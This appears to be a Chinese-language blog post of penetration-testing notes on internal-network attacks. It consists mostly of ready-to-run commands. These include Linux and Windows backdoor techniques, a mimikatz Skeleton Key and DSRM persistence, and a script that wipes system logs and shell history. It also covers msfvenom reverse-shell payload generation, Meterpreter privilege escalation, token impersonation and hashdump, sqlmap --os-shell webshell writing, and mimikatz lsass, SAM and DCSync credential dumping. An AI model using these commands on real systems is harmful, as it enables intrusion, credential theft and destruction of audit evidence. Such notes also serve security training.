预加载型动态链接库后门
strace 后门
SSH 后门
SUID 后门
inetd 服务后门
协议后门
vim 后门
PAM 后门
进程注入
Rootkit
端口复用

windows

替换系统文件类(shift 后门,放大镜后门)
修改注册表类
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、xx.Netsh Helper DLL
文件类
自启动文件夹、office Word StartUp 劫持
计划任务
schtasks 、WMI、bitsadmin

域后门

常见域后门技术总结与分析利用 - FreeBuf网络安全行业门户

Skeleton key

注入lsass.exe进程实现‘万能密码’,重启后失效

mimikatz.exe “privilege::debug” “misc::skeleton” exit # 密码为 mimikatz

DSRM

在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码

1
2
3
4
5
6
7
ntdsutil # 进入 ntdsutil
set dsrm password # 进入设置 DSRM 账户密码设置模式
reset password on server null # 在当前域控上恢复 DSRM 密码
<password> # 输入新密码 123456Lhz!
<password> # 再次输入新密码
q # 退出 DSRM 密码设置模式
q # 退出 ntdsutil

痕迹清理

windows

image-20240819105232499

1.查看事件日志 run event_manager -i

2.删除事件日志 run event_manager -c

3.clearv 命令清除目标系统的事件日志。

清除命令历史记录

histroy -r #删除当前会话历史记录

history -c #删除内存中的所有命令历史

rm .bash_history #删除历史文件中的内容

HISTZISE=0 #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用 vim 打开文件执行命令

:set history=0

:!command

linux

image-20240819105158564

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录 UUCP 和 news 设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

cat /dev/null > filename

: > filename

filename

echo “” > filename

echo > filename

针对性删除日志文件:

删除当天日志

sed -i ‘/当天日期/‘d filename

一键清除脚本:

!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

Linux

Windows

工具使用

MSF

https://blog.csdn.net/weixin_45588247/article/details/119614618
https://www.anquanke.com/post/id/164525

基础概念

截图

截图

截图

其中:meterpreter 组件(stage)是一种基于内存 DDL 注入的后渗透工具

模块分类

截图

截图

Auxiliary 扫描器

截图

攻击载荷和编码

这里利用 msfvemon 来替代

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
-p 指定 payload
-e 编码器
-i 迭代器
-f 输出格式

POST 后渗透

截图

使用流程

基础使用

这个就不多写了

截图

后渗透(windows)

https://cloud.tencent.com/developer/article/1180234

一.创建会话

https://blog.csdn.net/weixin_44823747/article/details/110056175

1.通过-l 参数来查看可以生成的 payload

截图

其中可以分为三类,二进制文件,webshell 和脚本 shell

2.反弹 shell 建立如下

1
2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

然后运行 exploit/multi/handler 监听模块并且在靶机上运行脚本即可

3.cmdshell–>meterpreter

sessions 查看会话类型,如果是 cmdshell 可以选择输入 session -u id 来升级 然后 sessions id 进入会话

收集信息

1
2
run arp_scanner -r  c段ip  查看主机状态
run post/multi/recon/local_exploit_suggester 查看msf的提权
二.提权
1.绕过 UAC

截图

这里输入 background 挂起会话,使用 MSF 中的模块直接进行提权,在会话中输入 getsystem 即可

2.系统漏洞
三.进程迁移

将 msf 和进程进行绑定来降低被杀的概率

1.查看进程 getpid

2.查看正在运行进程 ps

3.绑定 migratepid id

四.令牌假冒

令牌:windows 提供的一个类似于 cookies 的功能,用来分辨用户身份,如果域管理员登陆过这个终端,那可以直接假冒域管理员

1
2
3
4
查看当前用户 getuid
进入模块 use incognito
查看存在的令牌 list_tokens-u
伪造 impersonate_token token\\用户名
五.获取凭证

在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者 hash,再尝试登录内网其它服务器

1
2
3
4
取出密码 run hashdump
使用mimikatz模块
wdigest抓内存中的明文
kiwi模块
六.端口转发
portfwd

portfwd -l 本地端口 -r 内网 ip -p 内网端口

pivot

1.添加路由表 route add 内网 ip 子网掩码 sessionid (route print 查看)

2.socks 代理

截图

七.后门
metsvc(服务启动)
persistant

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nmap hostname/ip或者多个ip或者子网192.168.123.*
-iL ip.txt 扫描ip.txt的所有ip
-A 包含了-sV,-O,探测操作系统信息和路由跟踪(激烈扫描,一般不用)
-O 探测操作系统信息
-sV 查找主机服务版本号
-sA 探测该主机是否使用了包过滤器或防火墙(建议使用wafw00f)
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sT TCP connect扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-sP ping扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-Pn 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。
-sN TCP空扫描
-F 快速扫描
-p 指定端口/端口范围
-oN 将报告写入文件
-v 详细信息
-T<0-5> 设定速度
使用脚本:
--script all 使用所有脚本
--script=sql.injection.nse sql注入
--script="smb*" 扫smb系列
一、4 大功能:分别为主机发现(参数-sn)、端口扫描(-sS -sU)、版本侦测(–sV)、OS侦测(-O)
二、扫描方式有:tcp connect()、TCP SYN scanning、TCP FIN scanning、Nullscan等
三、绕过 ping 扫描参数为:nmap -Pn XXX.XXX.XXX.XXX
四、漏洞检测可直接 nmap 目标 --script=auth,vuln

截图

四扫:(sn 扫主机)

半开扫端口-sT –minrate 10000 -p-

udp 扫端口 -sU -p-

扫详细(服务版本,默认脚本,系统版本) -sT -sV -sC -O -p

漏洞扫描 –scipt=vulnW

nmap 默认使用-sS 只发送 syn 标志位进行扫描,快但是不如-sT 准确,同时 S 容易受到防火墙过滤不完整的包

截图

截图

截图

截图

SQLmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
-u 单个URL 
-m xx.txt 多个URL
-d "mysql://user:password@10.10.10.137:3306/dvwa" 作为服务器客户端,连接数据库
--data post/get都适用
-p 指定扫描的参数
-r 读取文件
-f 指纹信息
--tamper 混淆脚本,用于应用层过滤
--cookie --user-agent --host 对http头的修改
--threads 并发线程,默认为1
--dbms MySQL<5.0> 指定数据库或版本
–level=LEVEL 执行测试的等级(1-5,默认为 1
–risk=RISK 执行测试的风险(0-3,默认为 1) Risk升高可造成数据被篡改等风险
–current-db 获取当前数据库名称
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
columns 枚举 DBMS 数据库表列
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
常用的tamper:
base64encode.py 转为b64编码
charencode.py url编码
chardoubleencode.py 双URL编码
unmagicquotes.py 宽字节
randomcomments.py
`/**/
`分割SQL关键字
space2plus.py space2comment.py space2xxxx.py 替换空格为xx
Post注入:
sqlmap -r "数据包地址" -p "参数" -dbms 数据类型
Get注入:
sqlmap -u "注入点地址" --dbms 参数
sqlmap进行交互式写shell:
1-前提条件:最高权限、知道web网站绝对路径、能获取到cookie
2-sqlmap.py -u "注入点地址" --cookie="cookie值" --os-shell
-echo “一句话木马”>网站的绝对路径
3-输入web网站的绝对路径
4-传木马

wireshark

1
2
3
4
5
6
7
8
9
10
过滤源 ip 地址:ip.src==1.1.1.1;,
目的 ip 地址:ip.dst==1.1.1.1;
过滤 80 端口:tcp.port==80,
源端口:tcp.srcport==80,
目的端口:tcp.dstport==80
协议直接输入,如 http 协议 http
过滤 get/post 包 http.request.mothod==”GET/POST”
tcp http内容:tcp(http) contains "/api"
http url内容http.request.uri =="/api"

Mimikatz

明文密码

提升权限 privilege::debug

抓取密码 sekurlsa::logonpasswords

win10与2012R2后启动密码保存在内存中

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

sam表抓hash

导出SAM数据 reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM

使用mimikatz提取hash lsadump::sam /sam:SAM /system:SYSTEM

不落地

1
导出lsass procdump64.exe -accepteula -ma lsass.exe lsass.dmp
1
本地抓密码mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
1
输出本地mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

PTH

DCSync抓hash

模拟dc跨域同步获取数据

1
2
3
4
5
6
7
# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv

# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all
lsadump::dcsync /domain:whoamianony.org /all /csv

弹 shell

reg 上传去正向连接。或探测出网协议,如 dns,icmp


渗透
http://example.com/2024/06/27/内网渗透/
作者
z2zQAQ
发布于
2024年6月27日
许可协议